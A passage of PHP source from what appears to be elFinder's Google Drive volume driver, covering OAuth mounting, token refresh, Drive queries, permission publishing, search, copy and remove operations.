            'separator' => '/',
            'useGoogleTmb' => true,
            'acceptedName' => '#.#',
            'rootCssClass' => 'elfinder-navbar-root-googledrive',
            'publishPermission' => [
                'type' => 'anyone',
                'role' => 'reader',
                'withLink' => true,
            ],
            'appsExportMap' => [
                'application/vnd.google-apps.document' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
                'application/vnd.google-apps.spreadsheet' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
                'application/vnd.google-apps.drawing' => 'application/pdf',
                'application/vnd.google-apps.presentation' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
                'application/vnd.google-apps.script' => 'application/vnd.google-apps.script+json',
                'default' => 'application/pdf',
            ],
        ];
        $this->options = array_merge($this->options, $opts);
        $this->options['mimeDetect'] = 'internal';
    }

    /*********************************************************************/
    /*                        ORIGINAL FUNCTIONS                         */
    /*********************************************************************/

    /**
     * Get Parent ID, Item ID, Parent Path as an array from path.
     *
     * @param string $path
     *
     * @return array
     */
    protected function _gd_splitPath($path)
    {
        $path = trim($path, '/');
        $pid = '';
        if ($path === '') {
            $id = 'root';
            $parent = '';
        } else {
            $path = str_replace('\\/', chr(0), $path);
            $paths = explode('/', $path);
            $id = array_pop($paths);
            $id = str_replace(chr(0), '/', $id);
            if ($paths) {
                $parent = '/' . implode('/', $paths);
                $pid = array_pop($paths);
            } else {
                $rootid = ($this->root === '/') ? 'root' : trim($this->root, '/');
                if ($id === $rootid) {
                    $parent = '';
                } else {
                    $parent = $this->root;
                    $pid = $rootid;
                }
            }
        }

        return array($pid, $id, $parent);
    }

    /**
     * Drive query and fetchAll.
     *
     * @param string $sql
     *
     * @return bool|array
     */
    private function _gd_query($opts)
    {
        $result = [];
        $pageToken = null;
        $parameters = [
            'fields' => self::FETCHFIELDS_LIST,
            'pageSize' => 1000,
            'spaces' => 'drive',
        ];

        if (is_array($opts)) {
            $parameters = array_merge($parameters, $opts);
        }
        do {
            try {
                if ($pageToken) {
                    $parameters['pageToken'] = $pageToken;
                }
                $files = $this->service->files->listFiles($parameters);

                $result = array_merge($result, $files->getFiles());
                $pageToken = $files->getNextPageToken();
            } catch (Exception $e) {
                $pageToken = null;
            }
        } while ($pageToken);

        return $result;
    }

    /**
     * Get dat(googledrive metadata) from GoogleDrive.
     *
     * @param string $path
     *
     * @return array googledrive metadata
     */
    private function _gd_getFile($path, $fields = '')
    {
        list(, $itemId) = $this->_gd_splitPath($path);
        if (!$fields) {
            $fields = self::FETCHFIELDS_GET;
        }
        try {
            $file = $this->service->files->get($itemId, ['fields' => $fields]);
            if ($file instanceof Google_Service_Drive_DriveFile) {
                return $file;
            } else {
                return [];
            }
        } catch (Exception $e) {
            return [];
        }
    }

    /**
     * Parse line from googledrive metadata output and return file stat (array).
     *
     * @param array $raw line from ftp_rawlist() output
     *
     * @return array
     * @author Dmitry Levashov
     **/
    protected function _gd_parseRaw($raw)
    {
        $stat = [];

        $stat['iid'] = isset($raw['id']) ? $raw['id'] : 'root';
        $stat['name'] = isset($raw['name']) ? $raw['name'] : '';
        if (isset($raw['modifiedTime'])) {
            $stat['ts'] = strtotime($raw['modifiedTime']);
        }

        if ($raw['mimeType'] === self::DIRMIME) {
            $stat['mime'] = 'directory';
            $stat['size'] = 0;
        } else {
            $stat['mime'] = $raw['mimeType'] == 'image/bmp' ? 'image/x-ms-bmp' : $raw['mimeType'];
            $stat['size'] = (int)$raw['size'];
            if ($size = $raw->getImageMediaMetadata()) {
                $stat['width'] = $size['width'];
                $stat['height'] = $size['height'];
            }

            $published = $this->_gd_isPublished($raw);

            if ($this->options['useGoogleTmb']) {
                if (isset($raw['thumbnailLink'])) {
                    if ($published) {
                        $stat['tmb'] = 'drive.google.com/thumbnail?authuser=0&sz=s' . $this->options['tmbSize'] . '&id=' . $raw['id'];
                    } else {
                        $stat['tmb'] = substr($raw['thumbnailLink'], 8); // remove "https://"
                    }
                } else {
                    $stat['tmb'] = '';
                }
            }

            if ($published) {
                $stat['url'] = $this->_gd_getLink($raw);
            } elseif (!$this->disabledGetUrl) {
                $stat['url'] = '1';
            }
        }

        return $stat;
    }

    /**
     * Get dat(googledrive metadata) from GoogleDrive.
     *
     * @param string $path
     *
     * @return array googledrive metadata
     */
    private function _gd_getNameByPath($path)
    {
        list(, $itemId) = $this->_gd_splitPath($path);
        if (!$this->names) {
            $this->_gd_getDirectoryData();
        }

        return isset($this->names[$itemId]) ? $this->names[$itemId] : '';
    }

    /**
     * Make cache of $parents, $names and $directories.
     *
     * @param bool $usecache
     */
    protected function _gd_getDirectoryData($usecache = true)
    {
        if ($usecache) {
            $cache = $this->session->get($this->id . $this->netMountKey, []);
            if ($cache) {
                $this->parents = $cache['parents'];
                $this->names = $cache['names'];
                $this->directories = $cache['directories'];

                return;
            }
        }

        $root = '';
        if ($this->root === '/') {
            // get root id
            if ($res = $this->_gd_getFile('/', 'id')) {
                $root = $res->getId();
            }
        }

        $data = [];
        $opts = [
            'fields' => 'files(id, name, parents)',
            'q' => sprintf('trashed=false and mimeType="%s"', self::DIRMIME),
        ];
        $res = $this->_gd_query($opts);
        foreach ($res as $raw) {
            if ($parents = $raw->getParents()) {
                $id = $raw->getId();
                $this->parents[$id] = $parents;
                $this->names[$id] = $raw->getName();
                foreach ($parents as $p) {
                    if (isset($data[$p])) {
                        $data[$p][] = $id;
                    } else {
                        $data[$p] = [$id];
                    }
                }
            }
        }
        if ($root && isset($data[$root])) {
            $data['root'] = $data[$root];
        }
        $this->directories = $data;
        $this->session->set($this->id . $this->netMountKey, [
            'parents' => $this->parents,
            'names' => $this->names,
            'directories' => $this->directories,
        ]);
    }

    /**
     * Get descendants directories.
     *
     * @param string $itemId
     *
     * @return array
     */
    protected function _gd_getDirectories($itemId)
    {
        $ret = [];
        if ($this->directories === null) {
            $this->_gd_getDirectoryData();
        }
        $data = $this->directories;
        if (isset($data[$itemId])) {
            $ret = $data[$itemId];
            foreach ($data[$itemId] as $cid) {
                $ret = array_merge($ret, $this->_gd_getDirectories($cid));
            }
        }

        return $ret;
    }

    /**
     * Get ID based path from item ID.
     *
     * @param string $id
     *
     * @return array
     */
    protected function _gd_getMountPaths($id)
    {
        $root = false;
        if ($this->directories === null) {
            $this->_gd_getDirectoryData();
        }
        list($pid) = explode('/', $id, 2);
        $path = $id;
        if ('/' . $pid === $this->root) {
            $root = true;
        } elseif (!isset($this->parents[$pid])) {
            $root = true;
            $path = ltrim(substr($path, strlen($pid)), '/');
        }
        $res = [];
        if ($root) {
            if ($this->root === '/' || strpos('/' . $path, $this->root) === 0) {
                $res = [(strpos($path, '/') === false) ? '/' : ('/' . $path)];
            }
        } else {
            foreach ($this->parents[$pid] as $p) {
                $_p = $p . '/' . $path;
                $res = array_merge($res, $this->_gd_getMountPaths($_p));
            }
        }

        return $res;
    }

    /**
     * Return is published.
     *
     * @param object $file
     *
     * @return bool
     */
    protected function _gd_isPublished($file)
    {
        $res = false;
        $pType = $this->options['publishPermission']['type'];
        $pRole = $this->options['publishPermission']['role'];
        if ($permissions = $file->getPermissions()) {
            foreach ($permissions as $permission) {
                if ($permission->type === $pType && $permission->role === $pRole) {
                    $res = true;
                    break;
                }
            }
        }

        return $res;
    }

    /**
     * return item URL link.
     *
     * @param object $file
     *
     * @return string
     */
    protected function _gd_getLink($file)
    {
        if (strpos($file->mimeType, 'application/vnd.google-apps.') !== 0) {
            if ($url = $file->getWebContentLink()) {
                return str_replace('export=download', 'export=media', $url);
            }
        }
        if ($url = $file->getWebViewLink()) {
            return $url;
        }

        return '';
    }

    /**
     * Get download url.
     *
     * @param Google_Service_Drive_DriveFile $file
     *
     * @return string|false
     */
    protected function _gd_getDownloadUrl($file)
    {
        if (strpos($file->mimeType, 'application/vnd.google-apps.') !== 0) {
            return 'https://www.googleapis.com/drive/v3/files/' . $file->getId() . '?alt=media';
        } else {
            $mimeMap = $this->options['appsExportMap'];
            if (isset($mimeMap[$file->getMimeType()])) {
                $mime = $mimeMap[$file->getMimeType()];
            } else {
                $mime = $mimeMap['default'];
            }
            $mime = rawurlencode($mime);

            return 'https://www.googleapis.com/drive/v3/files/' . $file->getId() . '/export?mimeType=' . $mime;
        }

        return false;
    }

    /**
     * Get thumbnail from GoogleDrive.com.
     *
     * @param string $path
     *
     * @return string | boolean
     */
    protected function _gd_getThumbnail($path)
    {
        list(, $itemId) = $this->_gd_splitPath($path);

        try {
            $contents = $this->service->files->get($itemId, [
                'alt' => 'media',
            ]);
            $contents = $contents->getBody()->detach();
            rewind($contents);

            return $contents;
        } catch (Exception $e) {
            return false;
        }
    }

    /**
     * Publish permissions specified path item.
     *
     * @param string $path
     *
     * @return bool
     */
    protected function _gd_publish($path)
    {
        if ($file = $this->_gd_getFile($path)) {
            if ($this->_gd_isPublished($file)) {
                return true;
            }
            try {
                if ($this->service->permissions->create($file->getId(), new \Google_Service_Drive_Permission($this->options['publishPermission']))) {
                    return true;
                }
            } catch (Exception $e) {
                return false;
            }
        }

        return false;
    }

    /**
     * unPublish permissions specified path.
     *
     * @param string $path
     *
     * @return bool
     */
    protected function _gd_unPublish($path)
    {
        if ($file = $this->_gd_getFile($path)) {
            if (!$this->_gd_isPublished($file)) {
                return true;
            }
            $permissions = $file->getPermissions();
            $pType = $this->options['publishPermission']['type'];
            $pRole = $this->options['publishPermission']['role'];
            try {
                foreach ($permissions as $permission) {
                    if ($permission->type === $pType && $permission->role === $pRole) {
                        $this->service->permissions->delete($file->getId(), $permission->getId());

                        return true;
                        break;
                    }
                }
            } catch (Exception $e) {
                return false;
            }
        }

        return false;
    }

    /**
     * Read file chunk.
     *
     * @param resource $handle
     * @param int      $chunkSize
     *
     * @return string
     */
    protected function _gd_readFileChunk($handle, $chunkSize)
    {
        $byteCount = 0;
        $giantChunk = '';
        while (!feof($handle)) {
            // fread will never return more than 8192 bytes if the stream is read buffered and it does not represent a plain file
            $chunk = fread($handle, 8192);
            $byteCount += strlen($chunk);
            $giantChunk .= $chunk;
            if ($byteCount >= $chunkSize) {
                return $giantChunk;
            }
        }

        return $giantChunk;
    }

    /*********************************************************************/
    /*                        EXTENDED FUNCTIONS                         */
    /*********************************************************************/

    /**
     * Prepare
     * Call from elFinder::netmout() before volume->mount().
     *
     * @return array
     * @author Naoki Sawada
     * @author Raja Sharma updating for GoogleDrive
     **/
    public function netmountPrepare($options)
    {
        if (empty($options['client_id']) && defined('ELFINDER_GOOGLEDRIVE_CLIENTID')) {
            $options['client_id'] = ELFINDER_GOOGLEDRIVE_CLIENTID;
        }
        if (empty($options['client_secret']) && defined('ELFINDER_GOOGLEDRIVE_CLIENTSECRET')) {
            $options['client_secret'] = ELFINDER_GOOGLEDRIVE_CLIENTSECRET;
        }
        if (empty($options['googleApiClient']) && defined('ELFINDER_GOOGLEDRIVE_GOOGLEAPICLIENT')) {
            $options['googleApiClient'] = ELFINDER_GOOGLEDRIVE_GOOGLEAPICLIENT;
            include_once $options['googleApiClient'];
        }

        if (!isset($options['pass'])) {
            $options['pass'] = '';
        }

        try {
            $client = new \Google_Client();
            $client->setClientId($options['client_id']);
            $client->setClientSecret($options['client_secret']);

            if ($options['pass'] === 'reauth') {
                $options['pass'] = '';
                $this->session->set('GoogleDriveAuthParams', [])->set('GoogleDriveTokens', []);
            } elseif ($options['pass'] === 'googledrive') {
                $options['pass'] = '';
            }

            $options = array_merge($this->session->get('GoogleDriveAuthParams', []), $options);

            if (!isset($options['access_token'])) {
                $options['access_token'] = $this->session->get('GoogleDriveTokens', []);
                $this->session->remove('GoogleDriveTokens');
            }
            $aToken = $options['access_token'];

            $rootObj = $service = null;
            if ($aToken) {
                try {
                    $client->setAccessToken($aToken);
                    if ($client->isAccessTokenExpired()) {
                        $aToken = array_merge($aToken, $client->fetchAccessTokenWithRefreshToken());
                        $client->setAccessToken($aToken);
                    }
                    $service = new \Google_Service_Drive($client);
                    $rootObj = $service->files->get('root');

                    $options['access_token'] = $aToken;
                    $this->session->set('GoogleDriveAuthParams', $options);
                } catch (Exception $e) {
                    $aToken = [];
                    $options['access_token'] = [];
                    if ($options['user'] !== 'init') {
                        $this->session->set('GoogleDriveAuthParams', $options);

                        return ['exit' => true, 'error' => elFinder::ERROR_REAUTH_REQUIRE];
                    }
                }
            }

            $itpCare = isset($options['code']);
            $code = $itpCare? $options['code'] : (isset($_GET['code'])? $_GET['code'] : '');
            if ($code || (isset($options['user']) && $options['user'] === 'init')) {
                if (empty($options['url'])) {
                    $options['url'] = elFinder::getConnectorUrl();
                }

                if (isset($options['id'])) {
                    $callback = $options['url']
                            . (strpos($options['url'], '?') !== false? '&' : '?') . 'cmd=netmount&protocol=googledrive&host=' . ($options['id'] === 'elfinder'? '1' : $options['id']);
                    $client->setRedirectUri($callback);
                }

                if (!$aToken && empty($code)) {
                    $client->setScopes([Google_Service_Drive::DRIVE]);
                    if (!empty($options['offline'])) {
                        $client->setApprovalPrompt('force');
                        $client->setAccessType('offline');
                    }
                    $url = $client->createAuthUrl();

                    $html = '<input id="elf-volumedriver-googledrive-host-btn" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only" value="{msg:btnApprove}" type="button">';
                    $html .= '<script>
                        $("#' . $options['id'] . '").elfinder("instance").trigger("netmount", {protocol: "googledrive", mode: "makebtn", url: "' . $url . '"});
                    </script>';
                    if (empty($options['pass']) && $options['host'] !== '1') {
                        $options['pass'] = 'return';
                        $this->session->set('GoogleDriveAuthParams', $options);

                        return ['exit' => true, 'body' => $html];
                    } else {
                        $out = [
                            'node' => $options['id'],
                            'json' => '{"protocol": "googledrive", "mode": "makebtn", "body" : "' . str_replace($html, '"', '\\"') . '", "error" : "' . elFinder::ERROR_ACCESS_DENIED . '"}',
                            'bind' => 'netmount',
                        ];

                        return ['exit' => 'callback', 'out' => $out];
                    }
                } else {
                    if ($code) {
                        if (!empty($options['id'])) {
                            $aToken = $client->fetchAccessTokenWithAuthCode($code);
                            $options['access_token'] = $aToken;
                            unset($options['code']);
                            $this->session->set('GoogleDriveTokens', $aToken)->set('GoogleDriveAuthParams', $options);
                            $out = [
                                'node' => $options['id'],
                                'json' => '{"protocol": "googledrive", "mode": "done", "reset": 1}',
                                'bind' => 'netmount',
                            ];
                        } else {
                            $nodeid = ($_GET['host'] === '1')? 'elfinder' : $_GET['host'];
                            $out = array(
                                'node' => $nodeid,
                                'json' => json_encode(array(
                                    'protocol' => 'googledrive',
                                    'host' => $nodeid,
                                    'mode' => 'redirect',
                                    'options' => array(
                                        'id' => $nodeid,
                                        'code'=> $code
                                    )
                                )),
                                'bind' => 'netmount'
                            );
                        }
                        if (!$itpCare) {
                            return array('exit' => 'callback', 'out' => $out);
                        } else {
                            return array('exit' => true, 'body' => $out['json']);
                        }
                    }
                    $path = $options['path'];
                    if ($path === '/') {
                        $path = 'root';
                    }
                    $folders = [];
                    foreach ($service->files->listFiles([
                        'pageSize' => 1000,
                        'q' => sprintf('trashed = false and "%s" in parents and mimeType = "application/vnd.google-apps.folder"', $path),
                    ]) as $f) {
                        $folders[$f->getId()] = $f->getName();
                    }
                    natcasesort($folders);

                    if ($options['pass'] === 'folders') {
                        return ['exit' => true, 'folders' => $folders];
                    }

                    $folders = ['root' => $rootObj->getName()] + $folders;
                    $folders = json_encode($folders);
                    $expires = empty($aToken['refresh_token']) ? $aToken['created'] + $aToken['expires_in'] - 30 : 0;
                    $mnt2res = empty($aToken['refresh_token']) ? '' : ', "mnt2res": 1';
                    $json = '{"protocol": "googledrive", "mode": "done", "folders": ' . $folders . ', "expires": ' . $expires . $mnt2res . '}';
                    $options['pass'] = 'return';
                    $html = 'Google.com';
                    $html .= '<script>
                        $("#' . $options['id'] . '").elfinder("instance").trigger("netmount", ' . $json . ');
                    </script>';
                    $this->session->set('GoogleDriveAuthParams', $options);

                    return ['exit' => true, 'body' => $html];
                }
            }
        } catch (Exception $e) {
            $this->session->remove('GoogleDriveAuthParams')->remove('GoogleDriveTokens');
            if (empty($options['pass'])) {
                return ['exit' => true, 'body' => '{msg:' . elFinder::ERROR_ACCESS_DENIED . '}' . ' ' . $e->getMessage()];
            } else {
                return ['exit' => true, 'error' => [elFinder::ERROR_ACCESS_DENIED, $e->getMessage()]];
            }
        }

        if (!$aToken) {
            return ['exit' => true, 'error' => elFinder::ERROR_REAUTH_REQUIRE];
        }

        if ($options['path'] === '/') {
            $options['path'] = 'root';
        }

        try {
            $file = $service->files->get($options['path']);
            $options['alias'] = sprintf($this->options['gdAlias'], $file->getName());
        } catch (Google_Service_Exception $e) {
            $err = json_decode($e->getMessage(), true);
            if (isset($err['error']) && $err['error']['code'] == 404) {
                return ['exit' => true, 'error' => [elFinder::ERROR_TRGDIR_NOT_FOUND, $options['path']]];
            } else {
                return ['exit' => true, 'error' => $e->getMessage()];
            }
        } catch (Exception $e) {
            return ['exit' => true, 'error' => $e->getMessage()];
        }

        foreach (['host', 'user', 'pass', 'id', 'offline'] as $key) {
            unset($options[$key]);
        }

        return $options;
    }

    /**
     * process of on netunmount
     * Drop `googledrive` & rm thumbs.
     *
     * @param $netVolumes
     * @param $key
     *
     * @return bool
     */
    public function netunmount($netVolumes, $key)
    {
        if (!$this->options['useGoogleTmb']) {
            if ($tmbs = glob(rtrim($this->options['tmbPath'], '\\/') . DIRECTORY_SEPARATOR . $this->netMountKey . '*.png')) {
                foreach ($tmbs as $file) {
                    unlink($file);
                }
            }
        }
        $this->session->remove($this->id . $this->netMountKey);

        return true;
    }

    /**
     * Return fileinfo based on filename
     * For item ID based path file system
     * Please override if needed on each drivers.
     *
     * @param string $path file cache
     *
     * @return array
     */
    protected function isNameExists($path)
    {
        list($parentId, $name) = $this->_gd_splitPath($path);
        $opts = [
            'q' => sprintf('trashed=false and "%s" in parents and name="%s"', $parentId, $name),
            'fields' => self::FETCHFIELDS_LIST,
        ];
        $srcFile = $this->_gd_query($opts);

        return empty($srcFile) ? false : $this->_gd_parseRaw($srcFile[0]);
    }

    /*********************************************************************/
    /*                        INIT AND CONFIGURE                         */
    /*********************************************************************/

    /**
     * Prepare FTP connection
     * Connect to remote server and check if credentials are correct, if so, store the connection id in $ftp_conn.
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     **/
    protected function init()
    {
        $serviceAccountConfig = '';
        if (empty($this->options['serviceAccountConfigFile'])) {
            if (empty($options['client_id'])) {
                if (defined('ELFINDER_GOOGLEDRIVE_CLIENTID') && ELFINDER_GOOGLEDRIVE_CLIENTID) {
                    $this->options['client_id'] = ELFINDER_GOOGLEDRIVE_CLIENTID;
                } else {
                    return $this->setError('Required option "client_id" is undefined.');
                }
            }
            if (empty($options['client_secret'])) {
                if (defined('ELFINDER_GOOGLEDRIVE_CLIENTSECRET') && ELFINDER_GOOGLEDRIVE_CLIENTSECRET) {
                    $this->options['client_secret'] = ELFINDER_GOOGLEDRIVE_CLIENTSECRET;
                } else {
                    return $this->setError('Required option "client_secret" is undefined.');
                }
            }
            if (!$this->options['access_token'] && !$this->options['refresh_token']) {
                return $this->setError('Required option "access_token" or "refresh_token" is undefined.');
            }
        } else {
            if (!is_readable($this->options['serviceAccountConfigFile'])) {
                return $this->setError('Option "serviceAccountConfigFile" file is not readable.');
            }
            $serviceAccountConfig = $this->options['serviceAccountConfigFile'];
        }

        try {
            if (!$serviceAccountConfig) {
                $aTokenFile = '';
                if ($this->options['refresh_token']) {
                    // permanent mount
                    $aToken = $this->options['refresh_token'];
                    $this->options['access_token'] = '';
                    $tmp = elFinder::getStaticVar('commonTempPath');
                    if (!$tmp) {
                        $tmp = $this->getTempPath();
                    }
                    if ($tmp) {
                        $aTokenFile = $tmp . DIRECTORY_SEPARATOR . md5($this->options['client_id'] . $this->options['refresh_token']) . '.gtoken';
                        if (is_file($aTokenFile)) {
                            $this->options['access_token'] = json_decode(file_get_contents($aTokenFile), true);
                        }
                    }
                } else {
                    // make net mount key for network mount
                    if (is_array($this->options['access_token'])) {
                        $aToken = !empty($this->options['access_token']['refresh_token'])
                            ? $this->options['access_token']['refresh_token']
                            : $this->options['access_token']['access_token'];
                    } else {
                        return $this->setError('Required option "access_token" is not Array or empty.');
                    }
                }
            }

            $errors = [];
            if ($this->needOnline && !$this->service) {
                if (($this->options['googleApiClient'] || defined('ELFINDER_GOOGLEDRIVE_GOOGLEAPICLIENT')) && !class_exists('Google_Client')) {
                    include_once $this->options['googleApiClient'] ? $this->options['googleApiClient'] : ELFINDER_GOOGLEDRIVE_GOOGLEAPICLIENT;
                }
                if (!class_exists('Google_Client')) {
                    return $this->setError('Class Google_Client not found.');
                }

                $this->client = new \Google_Client();

                $client = $this->client;

                if (!$serviceAccountConfig) {
                    if ($this->options['access_token']) {
                        $client->setAccessToken($this->options['access_token']);
                        $access_token = $this->options['access_token'];
                    }
                    if ($client->isAccessTokenExpired()) {
                        $client->setClientId($this->options['client_id']);
                        $client->setClientSecret($this->options['client_secret']);
                        $access_token = $client->fetchAccessTokenWithRefreshToken($this->options['refresh_token'] ?: null);
                        $client->setAccessToken($access_token);
                        if ($aTokenFile) {
                            file_put_contents($aTokenFile, json_encode($access_token));
                        } else {
                            $access_token['refresh_token'] = $this->options['access_token']['refresh_token'];
                        }
                        if (!empty($this->options['netkey'])) {
                            elFinder::$instance->updateNetVolumeOption($this->options['netkey'], 'access_token', $access_token);
                        }
                        $this->options['access_token'] = $access_token;
                    }
                    $this->expires = empty($access_token['refresh_token']) ? $access_token['created'] + $access_token['expires_in'] - 30 : 0;
                } else {
                    $client->setAuthConfigFile($serviceAccountConfig);
                    $client->setScopes([Google_Service_Drive::DRIVE]);
                    $aToken = $client->getClientId();
                }
                $this->service = new \Google_Service_Drive($client);
            }

            if ($this->needOnline) {
                $this->netMountKey = md5($aToken . '-' . $this->options['path']);
            }
        } catch (InvalidArgumentException $e) {
            $errors[] = $e->getMessage();
        } catch (Google_Service_Exception $e) {
            $errors[] = $e->getMessage();
        }

        if ($this->needOnline && !$this->service) {
            $this->session->remove($this->id . $this->netMountKey);
            if ($aTokenFile) {
                if (is_file($aTokenFile)) {
                    unlink($aTokenFile);
                }
            }
            $errors[] = 'Google Drive Service could not be loaded.';

            return $this->setError($errors);
        }

        // normalize root path
        if ($this->options['path'] == 'root') {
            $this->options['path'] = '/';
        }
        $this->root = $this->options['path'] = $this->_normpath($this->options['path']);

        if (empty($this->options['alias'])) {
            if ($this->needOnline) {
                $this->options['root'] = ($this->options['root'] === '')? $this->_gd_getNameByPath('root') : $this->options['root'];
                $this->options['alias'] = ($this->options['path'] === '/') ? $this->options['root'] : sprintf($this->options['gdAlias'], $this->_gd_getNameByPath($this->options['path']));
                if (!empty($this->options['netkey'])) {
                    elFinder::$instance->updateNetVolumeOption($this->options['netkey'], 'alias', $this->options['alias']);
                }
            } else {
                $this->options['root'] = ($this->options['root'] === '')? 'GoogleDrive' : $this->options['root'];
                $this->options['alias'] = $this->options['root'];
            }
        }

        $this->rootName = isset($this->options['alias'])? $this->options['alias'] : 'GoogleDrive';

        if (!empty($this->options['tmpPath'])) {
            if ((is_dir($this->options['tmpPath']) || mkdir($this->options['tmpPath'])) && is_writable($this->options['tmpPath'])) {
                $this->tmp = $this->options['tmpPath'];
            }
        }

        if (!$this->tmp && ($tmp = elFinder::getStaticVar('commonTempPath'))) {
            $this->tmp = $tmp;
        }

        // This driver dose not support `syncChkAsTs`
        $this->options['syncChkAsTs'] = false;

        // 'lsPlSleep' minmum 10 sec
        $this->options['lsPlSleep'] = max(10, $this->options['lsPlSleep']);

        if ($this->options['useGoogleTmb']) {
            $this->options['tmbURL'] = 'https://';
            $this->options['tmbPath'] = '';
        }

        // enable command archive
        $this->options['useRemoteArchive'] = true;

        return true;
    }

    /**
     * Configure after successfull mount.
     *
     * @author Dmitry (dio) Levashov
     **/
    protected function configure()
    {
        parent::configure();

        // fallback of $this->tmp
        if (!$this->tmp && $this->tmbPathWritable) {
            $this->tmp = $this->tmbPath;
        }

        if ($this->needOnline && $this->isMyReload()) {
            $this->_gd_getDirectoryData(false);
        }
    }

    /*********************************************************************/
    /*                               FS API                              */
    /*********************************************************************/

    /**
     * Close opened connection.
     *
     * @author Dmitry (dio) Levashov
     **/
    public function umount()
    {
    }

    /**
     * Cache dir contents.
     *
     * @param string $path dir path
     *
     * @return array
     * @author Dmitry Levashov
     */
    protected function cacheDir($path)
    {
        $this->dirsCache[$path] = [];
        $hasDir = false;

        list(, $pid) = $this->_gd_splitPath($path);

        $opts = [
            'fields' => self::FETCHFIELDS_LIST,
            'q' => sprintf('trashed=false and "%s" in parents', $pid),
        ];

        $res = $this->_gd_query($opts);

        $mountPath = $this->_normpath($path . '/');

        if ($res) {
            foreach ($res as $raw) {
                if ($stat = $this->_gd_parseRaw($raw)) {
                    $stat = $this->updateCache($mountPath . $raw->id, $stat);
                    if (empty($stat['hidden']) && $path !== $mountPath . $raw->id) {
                        if (!$hasDir && $stat['mime'] === 'directory') {
                            $hasDir = true;
                        }
                        $this->dirsCache[$path][] = $mountPath . $raw->id;
                    }
                }
            }
        }

        if (isset($this->sessionCache['subdirs'])) {
            $this->sessionCache['subdirs'][$path] = $hasDir;
        }

        return $this->dirsCache[$path];
    }

    /**
     * Recursive files search.
     *
     * @param string $path dir path
     * @param string $q    search string
     * @param array  $mimes
     *
     * @return array
     * @throws elFinderAbortException
     * @author Naoki Sawada
     */
    protected function doSearch($path, $q, $mimes)
    {
        if (!empty($this->doSearchCurrentQuery['matchMethod'])) {
            // has custom match method use elFinderVolumeDriver::doSearch()
            return parent::doSearch($path, $q, $mimes);
        }

        list(, $itemId) = $this->_gd_splitPath($path);

        $path = $this->_normpath($path . '/');
        $result = [];
        $query = '';

        if ($itemId !== 'root') {
            $dirs = array_merge([$itemId], $this->_gd_getDirectories($itemId));
            $query = '(\'' . implode('\' in parents or \'', $dirs) . '\' in parents)';
        }

        $tmp = [];
        if (!$mimes) {
            foreach (explode(' ', $q) as $_v) {
                $tmp[] = 'fullText contains \'' . str_replace('\'', '\\\'', $_v) . '\'';
            }
            $query .= ($query ? ' and ' : '') . implode(' and ', $tmp);
        } else {
            foreach ($mimes as $_v) {
                $tmp[] = 'mimeType contains \'' . str_replace('\'', '\\\'', $_v) . '\'';
            }
            $query .= ($query ? ' and ' : '') . '(' . implode(' or ', $tmp) . ')';
        }

        $opts = [
            'q' => sprintf('trashed=false and (%s)', $query),
        ];

        $res = $this->_gd_query($opts);

        $timeout = $this->options['searchTimeout'] ? $this->searchStart + $this->options['searchTimeout'] : 0;
        foreach ($res as $raw) {
            if ($timeout && $timeout < time()) {
                $this->setError(elFinder::ERROR_SEARCH_TIMEOUT, $this->_path($path));
                break;
            }
            if ($stat = $this->_gd_parseRaw($raw)) {
                if ($parents = $raw->getParents()) {
                    foreach ($parents as $parent) {
                        $paths = $this->_gd_getMountPaths($parent);
                        foreach ($paths as $path) {
                            $path = ($path === '') ? '/' : (rtrim($path, '/') . '/');
                            if (!isset($this->cache[$path . $raw->id])) {
                                $stat = $this->updateCache($path . $raw->id, $stat);
                            } else {
                                $stat = $this->cache[$path . $raw->id];
                            }
                            if (empty($stat['hidden'])) {
                                $stat['path'] = $this->_path($path) . $stat['name'];
                                $result[] = $stat;
                            }
                        }
                    }
                }
            }
        }

        return $result;
    }

    /**
     * Copy file/recursive copy dir only in current volume.
     * Return new file path or false.
     *
     * @param string $src  source path
     * @param string $dst  destination dir path
     * @param string $name new file name (optionaly)
     *
     * @return string|false
     * @author Dmitry (dio) Levashov
     * @author Naoki Sawada
     **/
    protected function copy($src, $dst, $name)
    {
        $this->clearcache();
        $res = $this->_gd_getFile($src);
        if ($res['mimeType'] == self::DIRMIME) {
            $newDir = $this->_mkdir($dst, $name);
            if ($newDir) {
                list(, $itemId) = $this->_gd_splitPath($newDir);
                list(, $srcId) = $this->_gd_splitPath($src);
                $path = $this->_joinPath($dst, $itemId);
                $opts = [
                    'q' => sprintf('trashed=false and "%s" in parents', $srcId),
                ];

                $res = $this->_gd_query($opts);
                foreach ($res as $raw) {
                    $raw['mimeType'] == self::DIRMIME ? $this->copy($src . '/' . $raw['id'], $path, $raw['name']) : $this->_copy($src . '/' . $raw['id'], $path, $raw['name']);
                }

                $ret = $this->_joinPath($dst, $itemId);
                $this->added[] = $this->stat($ret);
            } else {
                $ret = $this->setError(elFinder::ERROR_COPY, $this->_path($src));
            }
        } else {
            if ($itemId = $this->_copy($src, $dst, $name)) {
                $ret = $this->_joinPath($dst, $itemId);
                $this->added[] = $this->stat($ret);
            } else {
                $ret = $this->setError(elFinder::ERROR_COPY, $this->_path($src));
            }
        }
        return $ret;
    }

    /**
     * Remove file/ recursive remove dir.
     *
     * @param string $path  file path
     * @param bool   $force try to remove even if file locked
     * @param bool   $recursive
     *
     * @return bool
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     * @author Naoki Sawada
     */
    protected function remove($path, $force = false, $recursive = false)
    {
        $stat = $this->stat($path);
        $stat['realpath'] = $path;
        $this->rmTmb($stat);
        $this->clearcache();

        if (empty($stat)) {
            return $this->setError(elFinder::ERROR_RM, $this->_path($path), elFinder::ERROR_FILE_NOT_FOUND);
        }

        if (!$force && !empty($stat['locked'])) {
            return $this->setError(elFinder::ERROR_LOCKED, $this->_path($path));
        }

        if ($stat['mime'] == 'directory') {
            if (!$recursive && !$this->_rmdir($path)) {
                return $this->setError(elFinder::ERROR_RM, $this->_path($path));
            }
        } else {
            if (!$recursive && !$this->_unlink($path)) {
                return $this->setError(elFinder::ERROR_RM, $this->_path($path));
            }
        }

        $this->removed[] = $stat;

        return true;
    }

    /**
     * Create thumnbnail and return it's URL on success.
     *
     * @param string $path file path
     * @param        $stat
     *
     * @return string|false
     * @throws ImagickException
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
